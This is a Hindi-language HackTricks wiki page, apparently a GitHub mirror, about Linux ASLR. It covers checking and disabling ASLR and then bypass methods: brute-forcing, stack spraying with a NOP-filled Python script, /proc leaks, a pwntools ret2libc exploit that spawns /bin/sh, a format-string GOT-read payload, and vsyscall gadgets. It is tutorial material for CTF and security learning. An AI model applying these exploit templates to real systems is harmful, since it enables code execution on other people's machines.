mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
284 lines
22 KiB
Markdown
284 lines
22 KiB
Markdown
# ASLR
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|
|
|
|
## Basic Information
|
|
|
|
**एड्रेस स्पेस लेआउट रैंडमाइजेशन (ASLR)** एक सुरक्षा तकनीक है जो ऑपरेटिंग सिस्टम में **सिस्टम और एप्लिकेशन प्रक्रियाओं** द्वारा उपयोग किए जाने वाले मेमोरी पते को **रैंडमाइज़** करने के लिए उपयोग की जाती है। ऐसा करने से, यह हमलावर के लिए विशिष्ट प्रक्रियाओं और डेटा, जैसे कि स्टैक, हीप, और लाइब्रेरी के स्थान की भविष्यवाणी करना काफी कठिन बना देता है, जिससे कुछ प्रकार के हमलों, विशेष रूप से बफर ओवरफ्लोज़, को कम किया जा सकता है।
|
|
|
|
### **ASLR स्थिति की जांच करना**
|
|
|
|
Linux सिस्टम पर ASLR स्थिति **जांचने** के लिए, आप **`/proc/sys/kernel/randomize_va_space`** फ़ाइल से मान पढ़ सकते हैं। इस फ़ाइल में संग्रहीत मान यह निर्धारित करता है कि ASLR का कौन सा प्रकार लागू किया जा रहा है:
|
|
|
|
- **0**: कोई रैंडमाइजेशन नहीं। सब कुछ स्थिर है।
|
|
- **1**: संवेदनशील रैंडमाइजेशन। साझा लाइब्रेरी, स्टैक, mmap(), VDSO पृष्ठ रैंडमाइज किए जाते हैं।
|
|
- **2**: पूर्ण रैंडमाइजेशन। संवेदनशील रैंडमाइजेशन द्वारा रैंडमाइज किए गए तत्वों के अलावा, `brk()` के माध्यम से प्रबंधित मेमोरी भी रैंडमाइज की जाती है।
|
|
|
|
आप निम्नलिखित कमांड के साथ ASLR स्थिति की जांच कर सकते हैं:
|
|
```bash
|
|
cat /proc/sys/kernel/randomize_va_space
|
|
```
|
|
### **ASLR को बंद करना**
|
|
|
|
ASLR को **बंद** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` का मान **0** पर सेट करते हैं। ASLR को बंद करना आमतौर पर परीक्षण या डिबगिंग परिदृश्यों के बाहर अनुशंसित नहीं है। इसे बंद करने का तरीका यहाँ है:
|
|
```bash
|
|
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
|
```
|
|
आप एक निष्पादन के लिए ASLR को निम्नलिखित के साथ भी अक्षम कर सकते हैं:
|
|
```bash
|
|
setarch `arch` -R ./bin args
|
|
setarch `uname -m` -R ./bin args
|
|
```
|
|
### **ASLR सक्षम करना**
|
|
|
|
ASLR को **सक्षम** करने के लिए, आप `/proc/sys/kernel/randomize_va_space` फ़ाइल में **2** का मान लिख सकते हैं। इसके लिए आमतौर पर रूट विशेषाधिकार की आवश्यकता होती है। पूर्ण यादृच्छिकता सक्षम करने के लिए निम्नलिखित कमांड का उपयोग किया जा सकता है:
|
|
```bash
|
|
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
|
```
|
|
### **रिबूट के दौरान स्थिरता**
|
|
|
|
`echo` कमांड के साथ किए गए परिवर्तन अस्थायी होते हैं और रिबूट पर रीसेट हो जाएंगे। परिवर्तन को स्थायी बनाने के लिए, आपको `/etc/sysctl.conf` फ़ाइल को संपादित करना होगा और निम्नलिखित पंक्ति को जोड़ना या संशोधित करना होगा:
|
|
```tsconfig
|
|
kernel.randomize_va_space=2 # Enable ASLR
|
|
# or
|
|
kernel.randomize_va_space=0 # Disable ASLR
|
|
```
|
|
`/etc/sysctl.conf` में संपादन करने के बाद, परिवर्तनों को लागू करने के लिए:
|
|
```bash
|
|
sudo sysctl -p
|
|
```
|
|
यह सुनिश्चित करेगा कि आपके ASLR सेटिंग्स रिबूट के दौरान बनी रहें।
|
|
|
|
## **बायपास**
|
|
|
|
### 32बिट ब्रूट-फोर्सिंग
|
|
|
|
PaX प्रक्रिया पते की जगह को **3 समूहों** में विभाजित करता है:
|
|
|
|
- **कोड और डेटा** (आरंभित और अप्रारंभित): `.text`, `.data`, और `.bss` —> `delta_exec` चर में **16 बिट्स** की एंट्रॉपी। यह चर प्रत्येक प्रक्रिया के साथ यादृच्छिक रूप से आरंभ किया जाता है और प्रारंभिक पते में जोड़ा जाता है।
|
|
- **मेमोरी** जो `mmap()` द्वारा आवंटित की गई है और **साझा पुस्तकालय** —> **16 बिट्स**, जिसे `delta_mmap` कहा जाता है।
|
|
- **स्टैक** —> **24 बिट्स**, जिसे `delta_stack` कहा जाता है। हालाँकि, यह प्रभावी रूप से **11 बिट्स** का उपयोग करता है (10वें से 20वें बाइट तक समावेशी), **16 बाइट्स** के लिए संरेखित —> इसके परिणामस्वरूप **524,288 संभावित वास्तविक स्टैक पते** होते हैं।
|
|
|
|
पिछला डेटा 32-बिट सिस्टम के लिए है और अंतिम एंट्रॉपी में कमी ASLR को बायपास करना संभव बनाती है, जब तक कि शोषण सफलतापूर्वक पूरा नहीं हो जाता।
|
|
|
|
#### ब्रूट-फोर्स विचार:
|
|
|
|
- यदि आपके पास **शेलकोड से पहले एक बड़ा NOP स्लेड** रखने के लिए पर्याप्त ओवरफ्लो है, तो आप बस स्टैक में पते को ब्रूट-फोर्स कर सकते हैं जब तक कि प्रवाह **NOP स्लेड के कुछ हिस्से पर कूद न जाए**।
|
|
- यदि ओवरफ्लो इतना बड़ा नहीं है और शोषण को स्थानीय रूप से चलाया जा सकता है, तो **एक पर्यावरण चर में NOP स्लेड और शेलकोड जोड़ना** संभव है।
|
|
- यदि शोषण स्थानीय है, तो आप libc के आधार पते को ब्रूट-फोर्स करने की कोशिश कर सकते हैं (32बिट सिस्टम के लिए उपयोगी):
|
|
```python
|
|
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
|
```
|
|
- यदि आप एक दूरस्थ सर्वर पर हमला कर रहे हैं, तो आप `libc` फ़ंक्शन `usleep` के पते को **ब्रूट-फोर्स** करने की कोशिश कर सकते हैं, उदाहरण के लिए 10 को तर्क के रूप में पास करते हुए। यदि किसी बिंदु पर **सर्वर प्रतिक्रिया देने में 10 सेकंड अतिरिक्त समय लेता है**, तो आपने इस फ़ंक्शन का पता खोज लिया है।
|
|
|
|
> [!TIP]
|
|
> 64-बिट सिस्टम में एंट्रॉपी बहुत अधिक होती है और यह संभव नहीं होना चाहिए।
|
|
|
|
### 64 बिट स्टैक ब्रूट-फोर्सिंग
|
|
|
|
यह संभव है कि स्टैक के एक बड़े हिस्से को एन्व वेरिएबल्स के साथ भरा जाए और फिर इसे स्थानीय रूप से सैकड़ों/हजारों बार शोषण करने के लिए दुरुपयोग करने की कोशिश की जाए।\
|
|
निम्नलिखित कोड दिखाता है कि **स्टैक में केवल एक पता चुनना** कैसे संभव है और हर **कुछ सौ निष्पादनों** में वह पता **NOP निर्देश** को समाहित करेगा:
|
|
```c
|
|
//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
|
|
#include <stdio.h>
|
|
|
|
int main() {
|
|
unsigned long long address = 0xffffff1e7e38;
|
|
unsigned int* ptr = (unsigned int*)address;
|
|
unsigned int value = *ptr;
|
|
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
|
|
return 0;
|
|
}
|
|
```
|
|
|
|
```python
|
|
import subprocess
|
|
import traceback
|
|
|
|
# Start the process
|
|
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
|
|
n_nops = int(128000/4)
|
|
shellcode_env_var = nop * n_nops
|
|
|
|
# Define the environment variables you want to set
|
|
env_vars = {
|
|
'a': shellcode_env_var,
|
|
'b': shellcode_env_var,
|
|
'c': shellcode_env_var,
|
|
'd': shellcode_env_var,
|
|
'e': shellcode_env_var,
|
|
'f': shellcode_env_var,
|
|
'g': shellcode_env_var,
|
|
'h': shellcode_env_var,
|
|
'i': shellcode_env_var,
|
|
'j': shellcode_env_var,
|
|
'k': shellcode_env_var,
|
|
'l': shellcode_env_var,
|
|
'm': shellcode_env_var,
|
|
'n': shellcode_env_var,
|
|
'o': shellcode_env_var,
|
|
'p': shellcode_env_var,
|
|
}
|
|
|
|
cont = 0
|
|
while True:
|
|
cont += 1
|
|
|
|
if cont % 10000 == 0:
|
|
break
|
|
|
|
print(cont, end="\r")
|
|
# Define the path to your binary
|
|
binary_path = './aslr-testing'
|
|
|
|
try:
|
|
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
|
|
output = process.communicate()[0]
|
|
if "0xd5" in str(output):
|
|
print(str(cont) + " -> " + output)
|
|
except Exception as e:
|
|
print(e)
|
|
print(traceback.format_exc())
|
|
pass
|
|
```
|
|
<figure><img src="../../../images/image (1214).png" alt="" width="563"><figcaption></figcaption></figure>
|
|
|
|
### स्थानीय जानकारी (`/proc/[pid]/stat`)
|
|
|
|
एक प्रक्रिया की फ़ाइल **`/proc/[pid]/stat`** हमेशा सभी के लिए पढ़ने योग्य होती है और इसमें **दिलचस्प** जानकारी होती है जैसे:
|
|
|
|
- **startcode** & **endcode**: बाइनरी के **TEXT** के साथ ऊपर और नीचे के पते
|
|
- **startstack**: **stack** की शुरुआत का पता
|
|
- **start_data** & **end_data**: जहां **BSS** है, उसके ऊपर और नीचे के पते
|
|
- **kstkesp** & **kstkeip**: वर्तमान **ESP** और **EIP** पते
|
|
- **arg_start** & **arg_end**: जहां **cli arguments** हैं, उसके ऊपर और नीचे के पते
|
|
- **env_start** &**env_end**: जहां **env variables** हैं, उसके ऊपर और नीचे के पते
|
|
|
|
इसलिए, यदि हमलावर उसी कंप्यूटर में है जहां बाइनरी का शोषण किया जा रहा है और यह बाइनरी कच्चे तर्कों से ओवरफ्लो की अपेक्षा नहीं करती, बल्कि एक अलग **इनपुट से जो इस फ़ाइल को पढ़ने के बाद तैयार किया जा सकता है**। तो हमलावर के लिए **इस फ़ाइल से कुछ पते प्राप्त करना और उनके लिए शोषण के लिए ऑफसेट बनाना संभव है**।
|
|
|
|
> [!TIP]
|
|
> इस फ़ाइल के बारे में अधिक जानकारी के लिए [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) पर `/proc/pid/stat` खोजें
|
|
|
|
### लीक होना
|
|
|
|
- **चुनौती एक लीक देना है**
|
|
|
|
यदि आपको एक लीक दिया गया है (आसान CTF चुनौतियाँ), तो आप इससे ऑफसेट्स की गणना कर सकते हैं (मान लीजिए कि आप जानते हैं कि जिस सिस्टम का आप शोषण कर रहे हैं, उसमें कौन सा libc संस्करण उपयोग किया जा रहा है)। यह उदाहरण शोषण [**यहां से उदाहरण**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) से निकाला गया है (अधिक विवरण के लिए उस पृष्ठ की जांच करें):
|
|
```python
|
|
from pwn import *
|
|
|
|
elf = context.binary = ELF('./vuln-32')
|
|
libc = elf.libc
|
|
p = process()
|
|
|
|
p.recvuntil('at: ')
|
|
system_leak = int(p.recvline(), 16)
|
|
|
|
libc.address = system_leak - libc.sym['system']
|
|
log.success(f'LIBC base: {hex(libc.address)}')
|
|
|
|
payload = flat(
|
|
'A' * 32,
|
|
libc.sym['system'],
|
|
0x0, # return address
|
|
next(libc.search(b'/bin/sh'))
|
|
)
|
|
|
|
p.sendline(payload)
|
|
|
|
p.interactive()
|
|
```
|
|
- **ret2plt**
|
|
|
|
एक बफर ओवरफ्लो का दुरुपयोग करते हुए, **ret2plt** का उपयोग करके libc से एक फ़ंक्शन का पता निकालना संभव होगा। जाँच करें:
|
|
|
|
|
|
{{#ref}}
|
|
ret2plt.md
|
|
{{#endref}}
|
|
|
|
- **Format Strings Arbitrary Read**
|
|
|
|
जैसे कि ret2plt में, यदि आपके पास एक फॉर्मेट स्ट्रिंग्स कमजोरियों के माध्यम से एक मनमाना पढ़ने की क्षमता है, तो GOT से **libc फ़ंक्शन** का पता निकालना संभव है। निम्नलिखित [**उदाहरण यहाँ से है**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got):
|
|
```python
|
|
payload = p32(elf.got['puts']) # p64() if 64-bit
|
|
payload += b'|'
|
|
payload += b'%3$s' # The third parameter points at the start of the buffer
|
|
|
|
# this part is only relevant if you need to call the main function again
|
|
|
|
payload = payload.ljust(40, b'A') # 40 is the offset until you're overwriting the instruction pointer
|
|
payload += p32(elf.symbols['main'])
|
|
```
|
|
आप फ़ॉर्मेट स्ट्रिंग्स के मनमाने पढ़ने के बारे में अधिक जानकारी यहाँ पा सकते हैं:
|
|
|
|
{{#ref}}
|
|
../../format-strings/
|
|
{{#endref}}
|
|
|
|
### Ret2ret & Ret2pop
|
|
|
|
ASLR को बायपास करने के लिए स्टैक के अंदर पते का दुरुपयोग करने का प्रयास करें:
|
|
|
|
{{#ref}}
|
|
ret2ret.md
|
|
{{#endref}}
|
|
|
|
### vsyscall
|
|
|
|
**`vsyscall`** तंत्र प्रदर्शन को बढ़ाने के लिए काम करता है, जिससे कुछ सिस्टम कॉल को उपयोगकर्ता स्थान में निष्पादित किया जा सकता है, हालाँकि वे मूल रूप से कर्नेल का हिस्सा हैं। **vsyscalls** का महत्वपूर्ण लाभ उनके **स्थिर पते** में है, जो **ASLR** (एड्रेस स्पेस लेआउट रैंडमाइजेशन) के अधीन नहीं होते। इस स्थिर स्वभाव का मतलब है कि हमलावरों को उनके पते निर्धारित करने और उन्हें एक हमले में उपयोग करने के लिए सूचना लीक की कमजोरी की आवश्यकता नहीं होती है।\
|
|
हालांकि, यहाँ कोई सुपर दिलचस्प गैजेट नहीं मिलेगा (हालांकि उदाहरण के लिए, `ret;` समकक्ष प्राप्त करना संभव है)
|
|
|
|
(निम्नलिखित उदाहरण और कोड [**इस लेख से**](https://guyinatuxedo.github.io/15-partial_overwrite/hacklu15_stackstuff/index.html#exploitation) है)
|
|
|
|
उदाहरण के लिए, एक हमलावर एक हमले में `0xffffffffff600800` पते का उपयोग कर सकता है। जबकि सीधे `ret` निर्देश पर कूदने का प्रयास करने से कुछ गैजेट्स को निष्पादित करने के बाद अस्थिरता या क्रैश हो सकता है, **vsyscall** अनुभाग द्वारा प्रदान किए गए `syscall` के प्रारंभ पर कूदना सफल हो सकता है। इस **vsyscall** पते पर निष्पादन को ले जाने वाले एक **ROP** गैजेट को सावधानीपूर्वक रखने से, एक हमलावर इस हमले के इस भाग के लिए **ASLR** को बायपास किए बिना कोड निष्पादन प्राप्त कर सकता है।
|
|
```
|
|
ef➤ vmmap
|
|
Start End Offset Perm Path
|
|
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
|
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
|
|
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
|
|
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
|
|
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
|
|
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
|
|
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
|
|
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
|
|
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
|
|
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
|
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
|
gef➤ x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
|
|
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
|
|
gef➤ x/8g 0xffffffffff600000
|
|
0xffffffffff600000: 0xf00000060c0c748 0xccccccccccccc305
|
|
0xffffffffff600010: 0xcccccccccccccccc 0xcccccccccccccccc
|
|
0xffffffffff600020: 0xcccccccccccccccc 0xcccccccccccccccc
|
|
0xffffffffff600030: 0xcccccccccccccccc 0xcccccccccccccccc
|
|
gef➤ x/4i 0xffffffffff600800
|
|
0xffffffffff600800: mov rax,0x135
|
|
0xffffffffff600807: syscall
|
|
0xffffffffff600809: ret
|
|
0xffffffffff60080a: int3
|
|
gef➤ x/4i 0xffffffffff600800
|
|
0xffffffffff600800: mov rax,0x135
|
|
0xffffffffff600807: syscall
|
|
0xffffffffff600809: ret
|
|
0xffffffffff60080a: int3
|
|
```
|
|
### vDSO
|
|
|
|
इसलिए ध्यान दें कि यदि कर्नेल को CONFIG_COMPAT_VDSO के साथ संकलित किया गया है, तो **vdso का दुरुपयोग करके ASLR को बायपास करना संभव हो सकता है** क्योंकि vdso पता यादृच्छिक नहीं होगा। अधिक जानकारी के लिए देखें:
|
|
|
|
{{#ref}}
|
|
../../rop-return-oriented-programing/ret2vdso.md
|
|
{{#endref}}
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|